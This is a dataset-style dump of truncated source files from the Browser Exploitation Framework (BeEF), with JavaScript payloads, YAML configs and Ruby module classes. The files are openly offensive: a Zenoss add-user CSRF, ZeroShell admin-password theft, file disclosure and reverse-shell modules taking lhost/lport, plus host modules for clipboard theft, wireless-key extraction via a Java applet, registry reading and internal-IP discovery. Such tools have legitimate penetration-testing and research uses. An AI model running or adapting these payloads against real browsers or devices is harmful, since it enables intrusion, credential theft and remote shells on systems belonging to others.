language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
JavaScript
beef/modules/exploits/zenoss_add_user_csrf/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var base = '<%= @base %>'; var user_level = '<%= @user_level %>'; var username = '<%= @username %>'; ...
YAML
beef/modules/exploits/zenoss_add_user_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zenoss_add_user_csrf: enable: true category: "Exploits" name: "Zenoss 3.x Add ...
Ruby
beef/modules/exploits/zenoss_add_user_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zenoss_add_user_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Zenoss web root', 'value'...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var uripwd = "http://" + rhost + ":" + rport ...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_admin_dynamic_token: enable: true category: ["Exploits", "ZeroShell"] ...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_admin_dynamic_token < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target H...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var uri = "http://" + rhost + ":" + rport +...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_admin_password: enable: true category: ["Exploits", "ZeroShell"] ...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_admin_password < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host',...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var uri = "http://" + rhost + ":" + rport +...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_admin_static_token: enable: true category: ["Exploits", "ZeroShell"] ...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_admin_static_token < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Ho...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var rfile = '<%= @rfile %>'; var uri = "h...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_file_disclosure: enable: true category: ["Exploits", "ZeroShell"] ...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_file_disclosure < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host'...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var hook = beef.net.httpproto + "://" + beef.ne...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_migrate_hook: enable: true category: ["Exploits", "ZeroShell"] ...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_migrate_hook < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host', '...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= ...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_reverse_shell_csrf_sop: enable: true category: ["Exploits", "ZeroShell"] ...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_reverse_shell_csrf_sop < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instan...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= ...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass: enable: true category: ["Exploits", "ZeroS...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandl...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/x.js
var h=document.getElementsByTagName('head')[0]; var j=document.createElement('script'); j.src='http://code.jquery.com/jquery-latest.min.js'; h.appendChild(j); var pwd=""; var token=""; var hash = window.location.hash.substring(1); var lhost = hash.substring(hash.indexOf("lhost=")+6, hash.indexOf("&")); var lport = ha...
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // var imgPath = "/kerbynet/Zeroshell.gif"; // fingerprint img to detect a ZeroShell instance var ip_start = '<%= @ip_start %>'; //...
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_scanner: enable: true category: ["Exploits", "ZeroShell"] nam...
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_scanner < BeEF::Core::Command def self.options [ { 'name' => 'ip_start', 'ui_label' => 'From IP', 'value'...
JavaScript
beef/modules/host/clipboard_theft/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var clipboard = clipboardData.getData("Text"); beef.debug("[Clipboard Theft] Success: Retriev...
YAML
beef/modules/host/clipboard_theft/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: clipboard_theft: enable: true category: "Host" name: "Get Clipboard" ...
Ruby
beef/modules/host/clipboard_theft/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Clipboard_theft < BeEF::Core::Command def post_execute content = {} content['clipboard'] = @datastore['clipboard'] save ...
JavaScript
beef/modules/host/detect_airdroid/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = "Not Installed"; var dom = document.createElement('b'); var img = new Image; img.src = "htt...
YAML
beef/modules/host/detect_airdroid/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_airdroid: enable: true category: "Host" name: "Detect Airdroid" ...
Ruby
beef/modules/host/detect_airdroid/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_airdroid < BeEF::Core::Command def self.options [ { 'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' =>...
JavaScript
beef/modules/host/detect_antivirus/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //Detection of av elements starts var image = "<body><img src='x'/></body>"; var hidden_...
YAML
beef/modules/host/detect_antivirus/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_antivirus: enable: true category: "Host" name: "Detect Antivirus" ...
Ruby
beef/modules/host/detect_antivirus/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_antivirus < BeEF::Core::Command def post_execute save({ 'Antivirus' => @datastore['antivirus'] }) end end
JavaScript
beef/modules/host/detect_coupon_printer/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!beef.browser.hasWebSocket()) { beef.debug('[Detect Coupon Printer] Error: browser does not suppor...
YAML
beef/modules/host/detect_coupon_printer/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_coupon_printer: enable: true category: "Host" name: "Detect Coupon Prin...
Ruby
beef/modules/host/detect_coupon_printer/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_coupon_printer < BeEF::Core::Command def post_execute save({ 'result' => @datastore['results'] }) end end
JavaScript
beef/modules/host/detect_cups/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = "Not Installed"; var dom = document.createElement('b'); var img = new Image; img.src = "htt...
YAML
beef/modules/host/detect_cups/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_cups: enable: true category: "Host" name: "Detect CUPS" des...
Ruby
beef/modules/host/detect_cups/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_cups < BeEF::Core::Command def self.options [ { 'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '12...
JavaScript
beef/modules/host/detect_default_browser/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+beef.os.getDefaultBrowser()); });
YAML
beef/modules/host/detect_default_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_default_browser: enable: true category: "Host" name: "Detect Default Br...
Ruby
beef/modules/host/detect_default_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_default_browser < BeEF::Core::Command def post_execute content = {} content['browser'] = @datastore['browser'] unless...
JavaScript
beef/modules/host/detect_google_desktop/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var dom = document.createElement('b'); var img = new Image; img.src = "http://127.0.0.1:4664/logo3.gif"; ...
YAML
beef/modules/host/detect_google_desktop/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_google_desktop: enable: true category: "Host" name: "Detect Google Desk...
Ruby
beef/modules/host/detect_google_desktop/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_google_desktop < BeEF::Core::Command def post_execute save({ 'GoogleDesktop' => @datastore['google_desktop'] }) end en...
JavaScript
beef/modules/host/detect_hp/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var is_hp = new Array; var dom = document.createElement('b'); parse_results = function() { var result ...
YAML
beef/modules/host/detect_hp/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_hp: enable: true category: "Host" name: "Detect Hewlett-Packard" ...
Ruby
beef/modules/host/detect_hp/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ## class Detect_hp < BeEF::Core::Command def post_execute content = {} content['is_hp'] = @datastore['is_hp'] unless @datastore['i...
JavaScript
beef/modules/host/detect_local_drives/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); beef.net.send...
YAML
beef/modules/host/detect_local_drives/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_local_drives: enable: true category: "Host" name: "Detect Local Drives"...
Ruby
beef/modules/host/detect_local_drives/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_local_drives < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @da...
JavaScript
beef/modules/host/detect_protocol_handlers/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Initialize var handler_results = new Array; var handler_protocol = "<%= @handler_protocol %>".split(/\...
YAML
beef/modules/host/detect_protocol_handlers/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_protocol_handlers: enable: true category: "Host" name: "Get Protocol Ha...
Ruby
beef/modules/host/detect_protocol_handlers/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Some additional protocol handlers # # ChromeHTML, code, Explorer.AssocProtocol.search-ms, FirefoxURL, gopher, icy, ie.http, ie.https, ie.f...
JavaScript
beef/modules/host/detect_software/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Software] Unspported browser'); beef.net.s...
YAML
beef/modules/host/detect_software/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_software: enable: true category: "Host" name: "Detect Software" ...
Ruby
beef/modules/host/detect_software/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_software < BeEF::Core::Command def post_execute content = {} content['installed_software'] = @datastore['installed_s...
JavaScript
beef/modules/host/detect_users/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); beef.net.send...
YAML
beef/modules/host/detect_users/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_users: enable: true category: "Host" name: "Detect Users" d...
Ruby
beef/modules/host/detect_users/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_users < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @datastore...
JavaScript
beef/modules/host/get_battery_status/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery; if (!battery) { ...
YAML
beef/modules/host/get_battery_status/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_battery_status: enable: true category: "Host" name: "Get Battery Status" ...
Ruby
beef/modules/host/get_battery_status/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_battery_status < BeEF::Core::Command def post_execute content = {} content['chargingStatus'] = @datastore['chargingStatu...
JavaScript
beef/modules/host/get_connection_type/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var connection_type = beef.net.connection.type(); beef.net.send('<%= @command_url %>', <%= @command_id %...
YAML
beef/modules/host/get_connection_type/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_connection_type: enable: true category: "Host" name: "Get Network Connecti...
Ruby
beef/modules/host/get_connection_type/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_connection_type < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['connection'] sav...
JavaScript
beef/modules/host/get_internal_ip_java/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/'; var internal_coun...
YAML
beef/modules/host/get_internal_ip_java/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_internal_ip_java: enable: true category: "Host" name: "Get Internal IP (Ja...
Java
beef/modules/host/get_internal_ip_java/get_internal_ip.java
/* * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.Applet; import java.applet.AppletContext; import java.net.InetAddress; import java.net.Socket; /* to compiled it i...
Ruby
beef/modules/host/get_internal_ip_java/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_internal_ip_java < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules...
JavaScript
beef/modules/host/get_internal_ip_webrtc/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (window.RT...
YAML
beef/modules/host/get_internal_ip_webrtc/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_internal_ip_webrtc: enable: true category: "Host" name: "Get Internal IP W...
Ruby
beef/modules/host/get_internal_ip_webrtc/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_internal_ip_webrtc < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['result'] save...
JavaScript
beef/modules/host/get_registry_keys/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var internal_counter = 0; var timeout = 30; var result; var key_paths; function waituntilok() { try ...
YAML
beef/modules/host/get_registry_keys/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_registry_keys: enable: true category: "Host" name: "Get Registry Keys" ...
Ruby
beef/modules/host/get_registry_keys/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_registry_keys < BeEF::Core::Command def self.options [ { 'name' => 'key_paths', 'ui_label' => 'Key(s)', 'description' ...
JavaScript
beef/modules/host/get_system_info_java/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var internal_counter = 0; var timeout = 30; var output; beef.debug('[Get System Info (Java)] Loadin...
YAML
beef/modules/host/get_system_info_java/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_system_info_java: enable: true category: "Host" name: "Get System Info (Ja...
Java
beef/modules/host/get_system_info_java/getSystemInfo.java
/* * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.*; import java.awt.*; import java.net.*; import java.util.*; public class getSystemInfo extends Applet { public ...
Ruby
beef/modules/host/get_system_info_java/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_system_info_java < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules...
JavaScript
beef/modules/host/get_wireless_keys/command.js
/* * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.execute(function() { var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/wirelessZeroConfi...
YAML
beef/modules/host/get_wireless_keys/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_wireless_keys: enable: true category: "Host" name: "Get Wireless Keys" ...
Ruby
beef/modules/host/get_wireless_keys/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_wireless_keys < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/ho...
Java
beef/modules/host/get_wireless_keys/wirelessZeroConfig.java
/* * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.io.*; import java.util.*; import java.net.*; import java.applet.*; // Keith Lee // Twitter: @keith55 // http://milo2012...
beef/modules/host/hook_default_browser/bounce_to_ie.pdf
%PDF-1.1 1 0 obj << /Pages 3 0 R /OpenAction 4 0 R /Type /Catalog >> endobj 2 0 obj << /Encoding /MacRomanEncoding /Subtype /Type1 /BaseFont /Helvetica /Type /Font /Name /F1 >> endobj 3 0 obj << /Kids [ 5 0 R ] /Type /Pages /Count 1 >> endobj 4 0 obj << /S /JavaScript /JS 6 0 R >> endobj 5 0 obj << /Media...
JavaScript
beef/modules/host/hook_default_browser/command.js
